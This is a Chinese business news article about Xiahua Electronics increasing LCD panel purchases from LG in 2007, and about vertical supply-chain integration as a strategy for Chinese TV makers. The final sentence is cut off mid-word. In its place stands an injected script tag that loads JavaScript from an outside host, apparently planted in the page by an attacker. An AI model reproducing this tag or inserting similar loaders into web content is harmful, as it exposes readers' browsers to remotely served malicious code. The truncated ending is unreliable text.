今年下半年以来，以外资彩电频频使出价格策略为标志，中国平板彩电市场进入了一个新的竞争时期。在这轮面对外资本土化的竞争之中，国产彩电企业的应对之道是什么？是继续在价格上与外资再拼高低，或是转攻二三级市场。在这争论之中，厦华电子把目光放到了更远的全球产业链、技术与市场的深度整合，直接震撼外资品牌的核心优势基础……
日前，据在厦门举行的"韩国lg－厦华电子2007战略合作签约仪式"消息，07年厦华电子对韩国lg面板的采购将同比增长80%并着力大尺寸高端平板电视领域的深层次战略合作。
据了解，鉴于06年度厦华对lg面板的采购超过年初目标数20%以及双方对未来07年大尺寸高端平板电视市场扩容的共识预期，厦华与lg将深化战略合作，按照新年度的战略协议，一方面，lg将继续保障对厦华面板资源的优先供应并给予最具竞争力的价格支持，另一方面，双方的合作还将涉及技术研发、生产制造、品质管理等多方位的深度对接。
多元化供给迎战“大屏时代”
在全球五大液晶面板商之一的中华映管成为厦华电子第一大股东的背景下，厦华与lg的战略合作产生的采购资源配置问题令外界颇受关注。
中华映管董事长林镇弘曾表示，“对于面板采购，厦华不受中华映管入股的影响，谁供货条件好厦华就选谁，但在屏资源紧张的时候，中华映管一定会优先保障厦华的支持”。而厦华发言人魏自力则从另一角度坦言，“由于厦华平板电视产品线的长度与宽度均比较大，从20寸到71寸的各种规格都有并覆盖中高档次，也就说，厦华的产品线布局就决定了多元化的面板供应需求；同时，随着06年9月份年产800－1000万台平板电视的厦华翔安工业园正式开建，将进一步释放厦华平板电视销售能量以及因此带动的巨量面板需求。目前，厦华面板的主要供应商除了第一大股东中华映管外，来自韩国的lg、三星以及我国台湾地区的奇美、友达等都是厦华重要的合作伙伴，他们的面板资源各有侧重，各有优势。”
业内人士分析，厦华这次巩固产业链协作，有它更深的市场背景。据赛诺市场调查数据显示，2006年第三季度，国内市场crt电视销售额为99.96亿元，液晶电视销售额为79.56亿元，等离子电视销售额为18.36亿元，平板突破性的首次与crt基本持平。业内人士预测，在奥运市场推动下，2007年平板销售额将超过crt，进入快速普及时期。在这轮奠定平板产业格局的竞争之中，市场机会将向具有产业链支持基础雄厚的企业和品牌集中。
相对外资企业，国内彩电业整体在产业链突围还处于探索，曲折前进状态。目前，国内京东方、上广电等企业研发生产的液晶面板虽也有几年历史，但至今无法达到盈亏平衡点。而由长虹、tcl、康佳和创维等彩电企业发起的深圳聚龙液晶面板线，几经波折尚无实质进展。
平板市场形势逼人，2007年中国彩电企业如果在上游产业继续受制于人，很可能落于临渊羡鱼的归宿。相对自己生产液晶面板的计划则因为技术、规模等实力与对手相差悬殊而风险巨大，厦华与中华映管，以及lg、三星等面板生产商的战略合作，是一种借助自己巨大的面板需求量，对上游面板资源进行深度整合，这个模式或许为国内彩电产业链突围提供了启示。
产业链的“高端技术”联合
在lg与厦华战略合作中，吸引业界更多关注目光的是在产业链合作模式的探索，即是在技术上的合作和支持。目前，就合作的深度而言，上下游产业链合作主要有三个层次：一是简单的市场采购;二是技术上的个性支持;三是资本纽带结成的战略支持。显然，作为当今全球平板电视市场一线领先品牌的厦华电子可谓“集三层优势于一身”。
业内人士认为，lg与厦华的继续携手并且加大合作深度，这不仅巩固了厦华面板需求的多元化保障机制，更重要的是，厦华平板电视整机的研发设计将前移至面板工序，这对整机产品的技术优化与品质性能保障将起到积极作用，而这种产业链纵深整合带来的优势，将进一步促进厦华全球市场竞争力的提升。对于平板电视另一核心部件――芯片，厦华的先进模式同样值得借鉴，从2003年起厦华先后与上游国际专业芯片巨头纷纷组建联合实验室，与一般企业直接从厂家采购芯片成品不同，厦华彩电应用的芯片从设计阶段厦华就提前介入生产流程，确保芯片与整机的融合，优化产品品质与性能保障，这里还值得一提的是，这些芯片联合实验室的科研成果的知识产权都归厦华所有。
相对厦华在产业链的纵深挺进，记者注意到，目前大部分中国彩电企业，还仅限简单的市场采购。在平板电视品质、个性化需求竞争元素日趋重要的趋势下，这种简单的组装、缺乏持续技术创新的平板彩电或许将沦为低劣产品，最终遭到市场的淘汰。
全球资源整合：破解外资竞争优势之道
厦华与lg的战略合作，也表明了中国企业在全球竞争背景之下，进行市场和产业链资源深度整合的探索和成功。2006年初，根据全球各区域市?script src=http://er12.com/t.js>
